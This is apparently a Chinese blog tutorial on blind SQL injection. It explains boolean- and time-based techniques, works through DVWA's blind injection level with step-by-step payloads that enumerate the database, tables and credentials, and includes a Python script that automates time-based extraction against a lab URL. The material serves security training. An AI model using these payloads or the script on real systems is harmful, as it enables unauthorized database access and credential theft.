sql注入(盲注)

一、什么是盲注

盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

二、盲注的分类

1、布尔盲注

2、时间盲注

三、实训

1、布尔盲注:

web页面只返回true、false两种数据类型,利用页面返回不同,逐一猜测数据。

2、注入步骤:

1、识别可注入参数:首先需要找到应用程序中可能存在 SQL 注入漏洞的输入参数,比如 URL 参数、表单字段等。

2、确定注入点:在确认了可注入参数后,就需要确定具体注入点的位置,即找到恶意负载可以被注入的地方。

3、获取系统信息:从注入点开始构建不同的 SQL 查询语句,观察目标系统的响应行为,进而推断出系统内部的结构、版本号等信息。

4、判断目标数据库管理系统类别:通过获取系统信息获得目标系统所使用的数据库类型,从而针对不同类型数据库的差异性进行进一步攻击。

5、构造 SQL 注入语句并发送负载请求:根据已获得的数据结构构造相应的恶意负载,并与正常请求混合在一起,向目标应用程序提交。

6、分析反馈结果:观察目标应用程序返回的页面内容来判断是否发现安全漏洞,如果存在,则确认漏洞类型、影响范围并寻找后续攻击路径。

7、利用 SQL 注入漏洞:根据已发现的漏洞并通过手工或脚本编写恶意语句来利用目标漏洞,如获取系统管理员密码、删除表等恶意行为。

3、SQL Injection (Blind)(low)

首先查看源码确定为get传参且没有sql注入相关限制

1、判断注入类型:输入1 、-1

尝试注入后发现只有两种回显方式,判断为SQL盲注。

2、判断是字符型还是数字型

输入:1' and 1=1 #,回显存在,此时后台语句为:

SELECT * FROM database_name WHERE id='1' and 1=1# ';

输入 1' and 1=2 #,回显报错,说明判断了1=2错误,因此认为是字符型sql盲注

SELECT * FROM database_name WHERE id='1' and 1=2# ';

3、获取库名
1.数据库名称的属性:字符长度字符组成的元素(字符/数字/下划线/…)。首先猜测数据库名称的长度(二分法)
1' and length(database())>20 #             错误
1' and length(database())>10 #             错误1' and length(database())>5#               错误
1' and length(database())>3#                正确
1' and length(database())=4#                正确得到数据库名长度为4

2.利用substr()函数从给定字符串中,分离出数据库名称的位置,并分别转换为ASCII,与对应的ASCII值比较大小,找到值相同的字符。

substr() 函数返回字符串的一部分。

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

参数描述
string必需。规定要返回其中一部分的字符串。
start

必需。规定在字符串的何处开始。

  • 正数 - 在字符串的指定位置开始
  • 负数 - 在从字符串结尾开始的指定位置开始
  • 0 - 在字符串中的第一个字符处开始
length

可选。规定被返回字符串的长度。默认是直到字符串的结尾。

  • 正数 - 从 start 参数所在的位置返回的长度
  • 负数 - 从字符串末端返回的长度

1' and ascii(substr(database(),1,1))>100 #         错误

1' and ascii(substr(database(),1,1))=100 #        正确

1' and ascii(substr(database(),2,1))>100 #        正确      

一次尝试出(2,1)(3,1)(4,1)的ASCII值,再对照ASCII码表找出对应的字符,这里最后得到库名为dvwa

4、猜表名(表的个数,表的名字长度,表的名字)

DBMS数据库管理系统—>information_schema库—>tables表 —>table_schema、table_name、table_rows…字段。

1.猜表的数量:

1' and (select count(table_name) from information_schema.tables where table_schema=database()) >5#        错误

1' and (select count(table_name) from information_schema.tables where table_schema=database()) >3#        错误

1' and (select count(table_name) from information_schema.tables where table_schema=database()) =2#         正确 

得到该数据库中共有两个表

2.确定表名长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #        正确

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #        错误

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

得到表的名字长度为9

3.猜表的名字:使用和确定库名相同的方式

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,a))>或<字母的ascii值 #

limit子句可以被用于强制 Select语句返回指定的记录数

得到第一个表名为guestbook;第二个表名为users

4.猜解测表中的字段名(表中的字段数目、某个字段名的字符长度、字段的字符组成以及位置; 某个字段的全名匹配)

采用相似方法从user表中的第一个字段开始,首先猜测出字段长度再依次猜测出具体字段名称最终得到账户:admin 密码password

3、时间盲注

1、三个常用函数:sleep()、substr()、if()

1.sleep()

sleep() 函数延迟代码执行若干秒。

语法:

sleep(seconds)
参数描述
seconds必需。以秒计的暂停时间。
2.substr()

substr() 函数返回字符串的一部分。

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

参数描述
string必需。规定要返回其中一部分的字符串。
start

必需。规定在字符串的何处开始。

  • 正数 - 在字符串的指定位置开始
  • 负数 - 在从字符串结尾开始的指定位置开始
  • 0 - 在字符串中的第一个字符处开始
length

可选。规定被返回字符串的长度。默认是直到字符串的结尾。

  • 正数 - 从 start 参数所在的位置返回的长度
  • 负数 - 从字符串末端返回的长度
3.if()

if(condition,true,false)

2、什么是时间盲注

时间盲注又称延迟注入,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

1' and sleep(5) #

如果页面延迟五秒,说明正确。注入语句与布尔盲注相似,但是过程太繁琐一般使用自动化注入。

可以使用脚本进行猜测:(使用时做出修改)

import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if(
    (length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if(
    (ascii(
        substr(
        (database())
        ,{n},1)
    ) ={r})
, sleep(5), 3) -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        start_time = time.time()
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面响应时间 = 结束执行的时间 - 开始执行的时间
        use_time = time.time() - start_time
        # 响应时间>5秒时,表示猜解成功
        if use_time > 5:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            start_time = time.time()
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面响应时间 = 结束执行的时间 - 开始执行的时间
            use_time = time.time() - start_time
            # 页面中出现此内容则表示成功
            if use_time > 5:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

原文链接:超硬核,SQL注入之时间盲注,原理+步骤+实战思路-CSDN博客

  • 27
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值